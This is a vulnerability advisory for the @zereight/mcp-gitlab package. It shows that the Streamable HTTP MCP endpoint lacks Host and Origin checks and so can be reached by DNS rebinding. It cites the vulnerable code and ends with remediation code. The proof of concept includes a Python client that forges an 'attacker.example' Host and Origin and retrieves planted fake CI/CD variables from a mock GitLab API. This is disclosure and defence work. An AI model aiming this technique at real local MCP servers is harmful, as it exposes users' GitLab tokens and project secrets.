@zereight/mcp-gitlab: DNS rebinding reaches local Streamable HTTP MCP transport

@zereight/mcp-gitlab exposes its Streamable HTTP MCP endpoint without an effective Host or Origin allowlist. A malicious web page can use DNS rebinding to route browser requests to a victim's local MCP listener while preserving an attacker-controlled Host and Origin. The server accepts those headers and reaches the MCP initialization path instead of rejecting the request at the HTTP boundary.

This is CWE-350, Reliance on Reverse DNS Resolution for a Security-Critical Action. The affected package is @zereight/mcp-gitlab version 2.1.18 at commit 74a8c834424ff557ad8bc6f225e4dc5acf80aa13.

The vulnerable transport setup is in index.ts. Express JSON parsing is installed globally before any MCP route-level Host or Origin allowlist:

// index.ts:12077
app.use(express.json());

registerDownloadProxy(app);

The Streamable HTTP transport is then created without the SDK DNS-rebinding controls:

// index.ts:12375
transport = new StreamableHTTPServerTransport({
  sessionIdGenerator: () => randomUUID(),
  onsessioninitialized: (newSessionId: string) => {
    streamableTransports[newSessionId] = transport;
    metrics.totalSessions++;
    metrics.activeSessions++;
  },
});

The transport constructor does not set enableDnsRebindingProtection, allowedHosts, or allowedOrigins. The server also does not add an Express middleware that rejects unexpected Host or Origin headers before /mcp.

The default host is loopback, which is the exact target DNS rebinding attacks are designed to reach:

// config.ts:192
export const HOST = getConfig("host", "HOST") || "127.0.0.1";

// config.ts:196
export const PORT = _intEnv("PORT", "port", _PORT_DEFAULT);

The README documents Streamable HTTP as a supported transport for modern remote deployments and documents REMOTE_AUTHORIZATION=true for multi-user HTTP deployments. In that mode, unauthenticated tools/list and material GitLab API tool calls are blocked by token checks. The Host/Origin defect is still present at the browser boundary: the server accepts attacker-controlled browser-origin headers and processes the MCP initialize request instead of rejecting the connection as cross-origin localhost access.

Proof of concept

The following reproduction uses a fake GitLab API with planted data. It proves the HTTP boundary failure and the token boundary separately:

• no-token initialize succeeds with attacker-controlled Host and Origin;
• no-token tools/list is rejected with 401;
• the same forged-origin flow with a planted Private-Token lists tools and calls list_project_variables;
• the fake GitLab API records the forwarded token and returns a planted fake project variable.

Start the fake GitLab API:

python3 - <<'PY'
import json
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from urllib.parse import parse_qs, urlparse

WITNESS = "/tmp/zereight-gitlab-mcp-rebind-witness.jsonl"
PROJECT_ID = "pluto/rebind-target"
FAKE_SECRET = "glpat-FAKE-PROJECT-CI-SECRET-0001"

class Handler(BaseHTTPRequestHandler):
    def _json(self, status, payload):
        data = json.dumps(payload).encode()
        self.send_response(status)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(data)))
        self.end_headers()
        self.wfile.write(data)

    def _record(self):
        parsed = urlparse(self.path)
        with open(WITNESS, "a", encoding="utf-8") as f:
            f.write(json.dumps({
                "method": self.command,
                "path": parsed.path,
                "query": parse_qs(parsed.query),
                "authorization": self.headers.get("authorization"),
                "private_token": self.headers.get("private-token"),
                "job_token": self.headers.get("job-token"),
            }, sort_keys=True) + "\n")

    def do_GET(self):
        self._record()
        path = urlparse(self.path).path
        if path == "/health":
            self._json(200, {"status": "ok"})
            return
        if path.startswith("/api/v4/") and not (
            self.headers.get("authorization") or
            self.headers.get("private-token") or
            self.headers.get("job-token")
        ):
            self._json(401, {"message": "401 Unauthorized", "missing": "GitLab token"})
            return
        if path.endswith("/variables"):
            self._json(200, [{
                "key": "PRODUCTION_DEPLOY_TOKEN",
                "value": FAKE_SECRET,
                "protected": True,
                "masked": False,
            }])
            return
        self._json(200, {"ok": True, "path": path})

    def log_message(self, fmt, *args):
        return

ThreadingHTTPServer(("127.0.0.1", 18082), Handler).serve_forever()
PY

In a second terminal, run the affected MCP server:

git clone https://github.com/zereight/gitlab-mcp.git
cd gitlab-mcp
git checkout 74a8c834424ff557ad8bc6f225e4dc5acf80aa13
npm install
npm run build

STREAMABLE_HTTP=true \
REMOTE_AUTHORIZATION=true \
HOST=127.0.0.1 \
PORT=8082 \
GITLAB_API_URL=http://127.0.0.1:18082/api/v4 \
GITLAB_READ_ONLY_MODE=true \
GITLAB_TOOLSETS=issues,projects,repository,ci \
GITLAB_TOOLS=list_project_variables \
node build/index.js

In a third terminal, send MCP requests with attacker-controlled browser-origin headers:

python3 - <<'PY'
import json
import urllib.error
import urllib.request

TARGET = "http://127.0.0.1:8082/mcp"
REBIND_HOST = "attacker.example:8082"
ORIGIN = "http://" + REBIND_HOST
TOKEN = "glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001"

def parse_rpc(text):
    stripped = text.strip()
    if stripped.startswith("{"):
        return [json.loads(stripped)]
    out = []
    for line in stripped.splitlines():
        line = line.strip()
        if line.startswith("data:"):
            out.append(json.loads(line[5:].strip()))
    return out

class Client:
    def __init__(self, token=None):
        self.sid = None
        self.token = token

    def post(self, body):
        headers = {
            "Content-Type": "application/json",
            "Accept": "application/json, text/event-stream",
            "Host": REBIND_HOST,
            "Origin": ORIGIN,
        }
        if self.token:
            headers["Private-Token"] = self.token
        if self.sid:
            headers["Mcp-Session-Id"] = self.sid
            headers["MCP-Protocol-Version"] = "2025-06-18"
        req = urllib.request.Request(TARGET, data=json.dumps(body).encode(), headers=headers, method="POST")
        try:
            with urllib.request.urlopen(req, timeout=20) as res:
                sid = res.headers.get("Mcp-Session-Id") or res.headers.get("mcp-session-id")
                if sid:
                    self.sid = sid
                text = res.read().decode("utf-8", "replace")
                return res.status, parse_rpc(text), text
        except urllib.error.HTTPError as exc:
            text = exc.read().decode("utf-8", "replace")
            return exc.code, parse_rpc(text), text

    def rpc(self, method, params=None, rid=1):
        body = {"jsonrpc": "2.0", "id": rid, "method": method}
        if params is not None:
            body["params"] = params
        status, messages, raw = self.post(body)
        for msg in messages:
            if msg.get("id") == rid:
                return status, msg, raw
        return status, {}, raw

    def initialized(self):
        self.post({"jsonrpc": "2.0", "method": "notifications/initialized"})

def initialize(client, rid):
    return client.rpc("initialize", {
        "protocolVersion": "2025-06-18",
        "capabilities": {},
        "clientInfo": {"name": "dns-rebind-check", "version": "1"},
    }, rid)

unauth = Client()
status, init, raw = initialize(unauth, 1)
print("unauth initialize:", status, "session:", unauth.sid)
unauth.initialized()
status, listed, raw = unauth.rpc("tools/list", {}, 2)
print("unauth tools/list:", status, raw[:200])

authed = Client(TOKEN)
status, init, raw = initialize(authed, 3)
print("token initialize:", status, "session:", authed.sid)
authed.initialized()
status, listed, raw = authed.rpc("tools/list", {}, 4)
tools = [tool["name"] for tool in listed["result"]["tools"]]
print("listed list_project_variables:", "list_project_variables" in tools)
status, called, raw = authed.rpc("tools/call", {
    "name": "list_project_variables",
    "arguments": {"project_id": "pluto/rebind-target"},
}, 5)
print(raw)
PY

Observed output:

unauth initialize: 200 session: <uuid>
unauth tools/list: 401 {"error":"Missing Private-Token, JOB-TOKEN, or Authorization header","message":"Remote authorization is enabled. Please provide Private-Token, JOB-TOKEN, or Authorization header."}
token initialize: 200 session: <uuid>
listed list_project_variables: True
[
  {
    "key": "PRODUCTION_DEPLOY_TOKEN",
    "value": "glpat-FAKE-PROJECT-CI-SECRET-0001",
    "protected": true,
    "masked": false
  }
]

The fake GitLab API witness records that the MCP server forwarded the token to the backend request:

{"authorization": null, "job_token": null, "method": "GET", "path": "/api/v4/projects/pluto%2Frebind-target/variables", "private_token": "glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001", "query": {}}

Impact

A malicious web page can reach a local @zereight/mcp-gitlab Streamable HTTP listener through DNS rebinding because the server accepts attacker-controlled Host and Origin headers. In the current remote-authorization mode, token checks block unauthenticated tools/list and material GitLab API calls. The remaining security failure is still real: the browser-origin boundary is not enforced, and any deployment mode or client flow that makes a GitLab token browser-suppliable or reuses an authenticated MCP session can expose GitLab tools to the attacker page.

The confirmed impact is:

• attacker-origin browser traffic reaches the local MCP initialize path;
• server-side Host and Origin validation are absent on /mcp;
• tool discovery and GitLab API tool execution work through the same forged-origin path when a token is present;
• GitLab API calls execute with the supplied token and can return sensitive project data such as CI/CD variables.

Why this is a vulnerability, not intended behavior

• The server uses loopback binding as the local safety boundary. DNS rebinding bypasses that boundary from the victim browser unless the server enforces an allowlist for Host and Origin.
• The MCP TypeScript SDK provides DNS-rebinding controls for Streamable HTTP. This server constructs StreamableHTTPServerTransport without enabling those controls and does not add an equivalent Express guard.
• REMOTE_AUTHORIZATION=true protects tool calls that lack a token, but it does not protect the HTTP transport from cross-origin browser access. Authentication and Host/Origin validation are separate controls.

Remediation

Enable the SDK DNS-rebinding protection on the Streamable HTTP transport:

transport = new StreamableHTTPServerTransport({
  sessionIdGenerator: () => randomUUID(),
  enableDnsRebindingProtection: true,
  allowedHosts: [
    `127.0.0.1:${PORT}`,
    `localhost:${PORT}`,
  ],
  allowedOrigins: [
    `http://127.0.0.1:${PORT}`,
    `http://localhost:${PORT}`,
  ],
  onsessioninitialized: (newSessionId: string) => {
    streamableTransports[newSessionId] = transport;
  },
});

Add an Express middleware before /mcp that rejects unexpected Host and Origin values. Apply the same policy to SSE if that transport remains supported. Document the default-safe Host/Origin values and require explicit operator configuration for non-loopback deployments.